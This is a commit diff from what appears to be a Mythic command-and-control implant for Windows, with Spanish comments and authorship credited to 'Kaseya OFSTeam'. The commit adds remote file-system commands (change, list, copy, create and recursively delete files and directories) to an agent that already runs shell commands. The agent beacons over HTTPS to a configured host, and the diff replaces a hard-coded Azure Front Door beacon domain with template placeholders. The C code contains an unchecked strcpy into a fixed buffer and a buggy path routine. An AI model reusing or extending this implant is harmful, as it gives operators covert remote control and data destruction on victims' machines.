v0.6 Comandos del sistema de ficheros de Windows
This commit is contained in:
@@ -27,7 +27,6 @@ VOID liberarAnalizador(PAnalizador analizador) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
BYTE getByte(PAnalizador analizador) {
|
||||
|
||||
BYTE intByte = 0;
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
#pragma once
|
||||
#define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4"
|
||||
#define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net"
|
||||
#define endpoint L"data"
|
||||
#define ssl TRUE
|
||||
#define proxyenabled FALSE
|
||||
#define proxyurl L""
|
||||
#define initUUID "%UUID%"
|
||||
#define hostname L"%HOSTNAME%"
|
||||
#define endpoint L"%ENDPOINT%"
|
||||
#define ssl %SSL%
|
||||
#define proxyenabled %PROXYENABLED%
|
||||
#define proxyurl L"%PROXYURL%"
|
||||
|
||||
#define useragent L""
|
||||
#define useragent L"%USERAGENT%"
|
||||
#define httpmethod L"POST"
|
||||
#define port 443
|
||||
#define port %PORT%
|
||||
|
||||
#define sleep_time 10
|
||||
#define sleep_time %SLEEPTIME%
|
||||
@@ -0,0 +1,433 @@
|
||||
#include "SistemadeFicheros.h"
|
||||
#include "paquete.h"
|
||||
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#pragma warning(disable : 4996)
|
||||
|
||||
VOID CambiarDirectorio(PAnalizador argumentos) {
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
|
||||
_dbg("\t tenemos %d argumentos", nbArg);
|
||||
if (nbArg == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
SIZE_T tamano = 0;
|
||||
PCHAR pathIntroducido = getString(argumentos, &tamano);
|
||||
|
||||
_dbg("Usando el path %s", pathIntroducido);
|
||||
|
||||
// Normalizar el path
|
||||
char pathNormalizado[2048];
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < tamano; i++) {
|
||||
if (pathIntroducido[i] == '\\') {
|
||||
// Si encontramos una barra invertida, aseguramos que se copie dos veces
|
||||
pathNormalizado[j++] = '\\';
|
||||
}
|
||||
pathNormalizado[j++] = pathIntroducido[i];
|
||||
}
|
||||
|
||||
// Asegurar que el path esté terminado en null
|
||||
pathNormalizado[j] = '\0';
|
||||
|
||||
// Convertir el path a minúsculas para evitar problemas con mayúsculas/minúsculas
|
||||
for (int i = 0; i < j; i++) {
|
||||
pathNormalizado[i] = tolower(pathNormalizado[i]);
|
||||
}
|
||||
|
||||
// Intentar cambiar el directorio
|
||||
if (!SetCurrentDirectoryA(pathNormalizado)) {
|
||||
DWORD error = GetLastError();
|
||||
_err("no se puede cambiar a ese directorio %s : ERROR CODE %d", pathNormalizado, error);
|
||||
//PackageError(tareaUuid, error);
|
||||
goto end;
|
||||
}
|
||||
|
||||
// Obtener el directorio actual
|
||||
char dir[2048];
|
||||
int length = GetCurrentDirectoryA(sizeof(dir), dir);
|
||||
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
// success
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
|
||||
addString(salida, dir, FALSE);
|
||||
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
mandarPaquete(respuestaTarea);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuestaTarea);
|
||||
|
||||
end:
|
||||
LocalFree(pathIntroducido);
|
||||
}
|
||||
|
||||
VOID ListarDirectorio(PAnalizador argumentos){
|
||||
|
||||
#define MAX_FILENAME 0x4000
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
|
||||
_dbg("\t tenemos %d argumentos", nbArg);
|
||||
if (nbArg == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
UINT32 tamanoPath = NULL;
|
||||
SIZE_T tamano = 0;
|
||||
char nombreFichero[MAX_FILENAME];
|
||||
PCHAR fichero = getString(argumentos, &tamano);
|
||||
|
||||
strcpy(nombreFichero, fichero);
|
||||
|
||||
_dbg("Filename: %s", nombreFichero);
|
||||
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
#define SOURCE_DIRECTORY "\\*"
|
||||
|
||||
if (!strncmp(nombreFichero, "." SOURCE_DIRECTORY, MAX_FILENAME)){
|
||||
GetCurrentDirectoryA(MAX_FILENAME, nombreFichero);
|
||||
strncat_s(nombreFichero, MAX_FILENAME, SOURCE_DIRECTORY, strlen(SOURCE_DIRECTORY));
|
||||
}else{
|
||||
|
||||
tamanoPath = strlen(nombreFichero);
|
||||
if (nombreFichero[tamanoPath - 1] != 0x5c) {
|
||||
nombreFichero[tamanoPath++] = 0x5c;
|
||||
}
|
||||
nombreFichero[tamanoPath++] = 0x2a;
|
||||
nombreFichero[tamanoPath] = 0x00;
|
||||
}
|
||||
|
||||
_dbg("[ls] %s", nombreFichero);
|
||||
|
||||
PackageAddFormatPrintf(salida, FALSE, "%s\n", nombreFichero);
|
||||
WIN32_FIND_DATAA datosEncontrados;
|
||||
HANDLE primerFichero = FindFirstFileA(nombreFichero, &datosEncontrados);
|
||||
|
||||
if (primerFichero == INVALID_HANDLE_VALUE){
|
||||
DWORD error = GetLastError();
|
||||
_err("Could not open %s : ERROR CODE %d", nombreFichero, error);
|
||||
//PackageError(tareaUuid, error);
|
||||
goto end;
|
||||
}
|
||||
|
||||
SYSTEMTIME systemTime, localTime;
|
||||
do{
|
||||
|
||||
FileTimeToSystemTime(&datosEncontrados.ftLastWriteTime, &systemTime);
|
||||
SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime);
|
||||
|
||||
if (datosEncontrados.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){
|
||||
|
||||
PackageAddFormatPrintf(salida, FALSE, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
|
||||
localTime.wMonth, localTime.wDay, localTime.wYear,
|
||||
localTime.wHour, localTime.wMinute, localTime.wSecond,
|
||||
datosEncontrados.cFileName);
|
||||
}else{
|
||||
PackageAddFormatPrintf(salida, FALSE, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
|
||||
((ULONGLONG)datosEncontrados.nFileSizeHigh << 32) | datosEncontrados.nFileSizeLow,
|
||||
localTime.wMonth, localTime.wDay, localTime.wYear,
|
||||
localTime.wHour, localTime.wMinute, localTime.wSecond,
|
||||
datosEncontrados.cFileName);
|
||||
}
|
||||
} while (FindNextFileA(primerFichero, &datosEncontrados));
|
||||
|
||||
FindClose(primerFichero);
|
||||
|
||||
|
||||
// success
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
mandarPaquete(respuestaTarea);
|
||||
|
||||
end:
|
||||
// Cleanup
|
||||
LocalFree(fichero);
|
||||
liberarPaquete(salida);
|
||||
}
|
||||
|
||||
BOOL ObtenerPath(PAnalizador argumentos) {
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
char dir[2048];
|
||||
int length = GetCurrentDirectoryA(sizeof(dir), dir);
|
||||
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
if (length == 0) {
|
||||
DWORD error = GetLastError();
|
||||
|
||||
_err("[pwd] Error obteniendo directorio actual. Código: %lu\n", error);
|
||||
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[pwd] Error: %lu\n", error);
|
||||
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
|
||||
_err("[pwd] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
|
||||
_err("[pwd] Contenido error: %s\n", salidaError->buffer);
|
||||
|
||||
mandarPaquete(respuestaError);
|
||||
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_dbg("[pwd] Directorio actual: %s\n", dir);
|
||||
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addString(salida, dir, FALSE);
|
||||
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
mandarPaquete(respuestaTarea);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuestaTarea);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID CopiarFichero(PAnalizador argumentos) {
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
|
||||
_dbg("\t tenemos %d argumentos", nbArg);
|
||||
if (nbArg == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
SIZE_T tamano = 0;
|
||||
SIZE_T tamano2 = 0;
|
||||
PCHAR ficheroExistente = getString(argumentos, &tamano);
|
||||
PCHAR nuevoFichero = getString(argumentos, &tamano2);
|
||||
|
||||
_dbg("Copying file \"%s\" to \"%s\"", ficheroExistente, nuevoFichero);
|
||||
|
||||
// Copy the file
|
||||
if (!CopyFileA(ficheroExistente, nuevoFichero, FALSE)){
|
||||
|
||||
DWORD error = GetLastError();
|
||||
|
||||
_err("[cp] No se ha podido copiar. Código: %lu\n", error);
|
||||
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[cp] Error: %lu\n", error);
|
||||
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
|
||||
_err("[cp] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
|
||||
_err("[cp] Contenido error: %s\n", salidaError->buffer);
|
||||
|
||||
mandarPaquete(respuestaError);
|
||||
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
goto end;
|
||||
}
|
||||
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
|
||||
char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
|
||||
snprintf(frase2, sizeof(frase2), "[cp] Fichero copiado correctamente a: %s", nuevoFichero);
|
||||
addString(salida, frase2, FALSE);
|
||||
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
mandarPaquete(respuestaTarea);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuestaTarea);
|
||||
|
||||
end:
|
||||
// Cleanup
|
||||
LocalFree(nuevoFichero);
|
||||
LocalFree(ficheroExistente);
|
||||
}
|
||||
|
||||
VOID CrearRuta(PAnalizador argumentos){
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
|
||||
SIZE_T tamano = 0;
|
||||
PCHAR directorio = getString(argumentos, &tamano);
|
||||
|
||||
_dbg("Creating directory: \"%s\"", directorio);
|
||||
|
||||
if (!CreateDirectoryA(directorio, NULL)){
|
||||
DWORD error = GetLastError();
|
||||
|
||||
_err("[mkdir] No se ha podido crear el directorio. Código: %lu\n", error);
|
||||
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[mkdir] Error: %lu\n", error);
|
||||
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
|
||||
_err("[mkdir] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
|
||||
_err("[mkdir] Contenido error: %s\n", salidaError->buffer);
|
||||
|
||||
mandarPaquete(respuestaError);
|
||||
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
|
||||
goto end;
|
||||
}
|
||||
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
|
||||
char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
|
||||
snprintf(frase2, sizeof(frase2), "[mkdir] Directorio creado con exito: %s", directorio);
|
||||
addString(salida, frase2, FALSE);
|
||||
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
mandarPaquete(respuestaTarea);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuestaTarea);
|
||||
|
||||
end:
|
||||
// Cleanup
|
||||
LocalFree(directorio);
|
||||
}
|
||||
|
||||
BOOL EsDirectorio(char* nombre){
|
||||
|
||||
return GetFileAttributesA(nombre) & FILE_ATTRIBUTE_DIRECTORY;
|
||||
}
|
||||
|
||||
VOID EliminaCallbacksRecursivos(const char* a1, const char* a2, BOOL esDirectorio){
|
||||
|
||||
char* lpNombreRuta = (char*)malloc(0x4000);
|
||||
_snprintf(lpNombreRuta, 0x4000, "%s\\%s", a1, a2);
|
||||
if (esDirectorio)
|
||||
RemoveDirectoryA(lpNombreRuta);
|
||||
else
|
||||
DeleteFileA(lpNombreRuta);
|
||||
free(lpNombreRuta);
|
||||
}
|
||||
|
||||
VOID BuscaYProcesa(char* nombre, WIN32_FIND_DATAA* busqueda){
|
||||
|
||||
#define MAX_FILENAME 0x8000
|
||||
char* lpNombreFichero;
|
||||
|
||||
lpNombreFichero = malloc(MAX_FILENAME);
|
||||
snprintf(lpNombreFichero, MAX_FILENAME, "%s\\*", nombre);
|
||||
LPWIN32_FIND_DATAA lpCurrentFindFileData = busqueda;
|
||||
HANDLE hFindFile = FindFirstFileA(lpNombreFichero, lpCurrentFindFileData);
|
||||
free(lpNombreFichero);
|
||||
|
||||
if (hFindFile == INVALID_HANDLE_VALUE) {
|
||||
return;
|
||||
}
|
||||
|
||||
do{
|
||||
if (lpCurrentFindFileData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
if (strcmp(lpCurrentFindFileData->cFileName, ".") && strcmp(lpCurrentFindFileData->cFileName, ".."))
|
||||
{
|
||||
char* lpFileNameInternal = malloc(MAX_FILENAME);
|
||||
snprintf(lpFileNameInternal, MAX_FILENAME, "%s", lpCurrentFindFileData->cFileName);
|
||||
|
||||
lpNombreFichero = malloc(MAX_FILENAME);
|
||||
snprintf(lpNombreFichero, MAX_FILENAME, "%s\\%s", nombre, busqueda->cFileName);
|
||||
BuscaYProcesa(lpNombreFichero, busqueda);
|
||||
free(lpNombreFichero);
|
||||
|
||||
EliminaCallbacksRecursivos(nombre, lpFileNameInternal, TRUE);
|
||||
free(lpFileNameInternal);
|
||||
}
|
||||
|
||||
lpCurrentFindFileData = busqueda;
|
||||
}
|
||||
else
|
||||
{
|
||||
EliminaCallbacksRecursivos(nombre, lpCurrentFindFileData->cFileName, FALSE);
|
||||
}
|
||||
} while (FindNextFileA(hFindFile, lpCurrentFindFileData));
|
||||
FindClose(hFindFile);
|
||||
}
|
||||
|
||||
VOID BorrarDirectoriosHijos(char* rutaFichero){
|
||||
WIN32_FIND_DATAA busqueda;
|
||||
|
||||
BuscaYProcesa(
|
||||
rutaFichero,
|
||||
&busqueda);
|
||||
}
|
||||
|
||||
VOID EliminarRuta(PAnalizador argumentos){
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
|
||||
SIZE_T tamano = 0;
|
||||
PCHAR ruta = getString(argumentos, &tamano);
|
||||
|
||||
if (nbArg == 0)
|
||||
return;
|
||||
|
||||
if (EsDirectorio(ruta)){
|
||||
|
||||
BorrarDirectoriosHijos(ruta);
|
||||
RemoveDirectoryA(ruta);
|
||||
|
||||
}else{
|
||||
DeleteFileA(ruta);
|
||||
}
|
||||
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
|
||||
char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
|
||||
snprintf(frase2, sizeof(frase2), "[rm] Borrados los ficheros o directorios incluidos sus hijos: %s", ruta);
|
||||
addString(salida, frase2, FALSE);
|
||||
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
mandarPaquete(respuestaTarea);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuestaTarea);
|
||||
|
||||
end:;
|
||||
// Cleanup
|
||||
LocalFree(ruta);
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
#pragma once
|
||||
#ifndef FILESYSTEM_H
|
||||
#define FILESYSTEM_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "analizador.h"
|
||||
|
||||
VOID CambiarDirectorio(PAnalizador argumentos);
|
||||
|
||||
VOID ListarDirectorio(PAnalizador argumentos);
|
||||
|
||||
BOOL ObtenerPath(PAnalizador argumentos);
|
||||
|
||||
VOID CopiarFichero(PAnalizador argumentos);
|
||||
|
||||
VOID CrearRuta(PAnalizador argumentos);
|
||||
|
||||
VOID EliminarRuta(PAnalizador argumentos);
|
||||
|
||||
#endif //FILESYSTEM_H
|
||||
@@ -16,18 +16,29 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||
|
||||
if (tarea == SHELL_CMD)
|
||||
{
|
||||
if (tarea == SHELL_CMD){
|
||||
ejecutarConsola(analizadorTarea);
|
||||
}
|
||||
else if (tarea == EXIT_CMD) {
|
||||
}else if (tarea == EXIT_CMD) {
|
||||
cerrarCallback(analizadorTarea);
|
||||
}else if(tarea == SLEEP_CMD){
|
||||
sleep(analizadorTarea);
|
||||
}else if(tarea == PROCESS_CMD){
|
||||
listarProcesos(analizadorTarea);
|
||||
}else if (tarea == CD_CMD) {
|
||||
CambiarDirectorio(analizadorTarea);
|
||||
}else if (tarea == LS_CMD) {
|
||||
ListarDirectorio(analizadorTarea);
|
||||
}else if (tarea == PWD_CMD) {
|
||||
ObtenerPath(analizadorTarea);
|
||||
}else if (tarea == CP_CMD) {
|
||||
CopiarFichero(analizadorTarea);
|
||||
}else if (tarea == MKDIR_CMD) {
|
||||
CrearRuta(analizadorTarea);
|
||||
}else if (tarea == RM_CMD) {
|
||||
EliminarRuta(analizadorTarea);
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
@@ -9,6 +9,7 @@
|
||||
#include "cerrarCallback.h"
|
||||
#include "sleep.h"
|
||||
#include "procesos.h"
|
||||
#include "SistemadeFicheros.h"
|
||||
|
||||
#define SHELL_CMD 0x54
|
||||
#define GET_TASKING 0x00
|
||||
@@ -21,6 +22,15 @@
|
||||
#define SLEEP_CMD 0x38
|
||||
#define PROCESS_CMD 0x15
|
||||
|
||||
#define CD_CMD 0x20
|
||||
#define LS_CMD 0x21
|
||||
#define PWD_CMD 0x22
|
||||
#define CP_CMD 0x23
|
||||
#define MKDIR_CMD 0x24
|
||||
#define RM_CMD 0x25
|
||||
|
||||
|
||||
|
||||
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||
BOOL rutina();
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
//#ifdef _DEBUG
|
||||
//int main()
|
||||
//#else
|
||||
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
|
||||
//int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
|
||||
//#endif
|
||||
{
|
||||
cazallaMain();
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class CdArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
description="Path al que cambiar.",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Es necesario agregar un path.")
|
||||
self.add_arg("path", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
class CdCommand(CommandBase):
|
||||
cmd = "cd"
|
||||
needs_admin = False
|
||||
help_cmd = "cd C:\\directorio\\al\\que\\cambiar"
|
||||
description = "Cambiar directorio de trabajo."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = CdArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,56 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
class CpArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="fichero existente",
|
||||
type=ParameterType.String,
|
||||
description="Ruta del fichero a copiar"
|
||||
),
|
||||
CommandParameter(
|
||||
name="fichero nuevo",
|
||||
type=ParameterType.String,
|
||||
description="Ruta del nuevo fichero"
|
||||
)
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Este comando necesita parametros")
|
||||
self.add_arg("command", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
class CpCommand(CommandBase):
|
||||
cmd = "cp"
|
||||
needs_admin = False
|
||||
help_cmd = "cp c:\\ruta\\fichero c:\\ruta\\a\\copiar"
|
||||
description = "Copia un fichero a un nuevo destino."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = CpArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,101 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import re
|
||||
import string, json
|
||||
|
||||
import logging
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
|
||||
class LsArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
description="Path del fichero o de la carpeta del sistema",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
logging.info("Parse Aguments")
|
||||
pass
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
logging.info("Parse Dictionary")
|
||||
if "host" in dictionary:
|
||||
|
||||
logging.info(f"Command came from File Browser UI - {dictionary}")
|
||||
self.add_arg("path", dictionary["path"] + "\\" + dictionary["file"])
|
||||
# self.add_arg("file_browser", type=ParameterType.Boolean, value=True)
|
||||
else:
|
||||
logging.info(f"Command came from CMDLINE - {dictionary}")
|
||||
|
||||
arg_path = dictionary.get("path")
|
||||
if arg_path:
|
||||
self.add_arg("path", arg_path)
|
||||
else:
|
||||
self.add_arg("path", ".\\*") # List current directory if no args
|
||||
|
||||
self.add_arg("file_browser", "true")
|
||||
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
class LsCommand(CommandBase):
|
||||
cmd = "ls"
|
||||
needs_admin = False
|
||||
help_cmd = "ls [directorio]"
|
||||
description = "listado de informacion del <directorio>"
|
||||
version = 1
|
||||
supported_ui_features = ["file_browser:list"]
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = ["T1106", "T1083"]
|
||||
argument_class = LsArguments
|
||||
browser_script = BrowserScript(
|
||||
script_name="ls", author="Kaseya OFSTeam", for_new_ui=True
|
||||
)
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=True
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
|
||||
path = taskData.args.get_arg("path")
|
||||
logging.info(f"create_go_tasking - path : {path}")
|
||||
response.DisplayParams = path
|
||||
|
||||
#
|
||||
if uncmatch := re.match(r"^\\\\(?P<host>[^\\]+)\\(?P<path>.*)$", path):
|
||||
taskData.args.add_arg("host", uncmatch.group("host"))
|
||||
taskData.args.set_arg("path", uncmatch.group("path"))
|
||||
else:
|
||||
# Set the host argument to an empty string if it does not exist
|
||||
taskData.args.add_arg("host", "")
|
||||
if host := taskData.args.get_arg("host"):
|
||||
host = host.upper()
|
||||
|
||||
# Resolve 'localhost' and '127.0.0.1' aliases
|
||||
if host == "127.0.0.1" or host.lower() == "localhost":
|
||||
host = taskData.Callback.Host
|
||||
|
||||
taskData.args.set_arg("host", host)
|
||||
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,55 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class MkdirArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
description="Ruta en la que crear el nuevo directorio",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Es necesario agregar una ruta en la que crear el directorio")
|
||||
self.add_arg("path", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
class MkdirCommand(CommandBase):
|
||||
cmd = "mkdir"
|
||||
needs_admin = False
|
||||
help_cmd = "mkdir C:\\nuevo\\directorio"
|
||||
description = "Crea un nuevo directorio."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = MkdirArguments
|
||||
